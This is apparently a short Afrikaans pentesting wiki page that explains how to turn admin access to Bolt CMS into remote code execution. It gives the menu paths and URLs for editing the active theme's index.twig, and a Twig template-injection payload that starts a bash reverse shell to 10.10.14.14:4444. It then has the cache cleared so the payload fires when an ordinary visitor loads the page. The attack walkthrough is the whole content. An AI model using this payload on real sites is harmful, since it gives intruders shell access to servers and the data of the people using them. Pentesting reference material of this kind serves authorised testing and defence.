Bolt CMS
RCE
Na aanmelding as admin (gaan na /bot om die aanmeldprompt te bereik), kan jy RCE in Bolt CMS verkry:
Kies
Configuration
->View Configuration
->Main Configuration
of gaan na die URL pad/bolt/file-edit/config?file=/bolt/config.yaml
Kontroleer die waarde van tema
Kies
File management
->View & edit templates
Kies die tema basis wat in die vorige (
base-2021
in hierdie geval) stap gevind is en kiesindex.twig
In my geval is dit in die URL pad /bolt/file-edit/themes?file=/base-2021/index.twig
Stel jou payload in hierdie lêer via template injection (Twig), soos:
{{['bash -c "bash -i >& /dev/tcp/10.10.14.14/4444 0>&1"']|filter('system')}}
En stoor veranderinge
Maak die cache skoon in
Maintenance
->Clear the cache
Toegang weer die bladsy as 'n gewone gebruiker, en die payload behoort uitgevoer te word
Last updated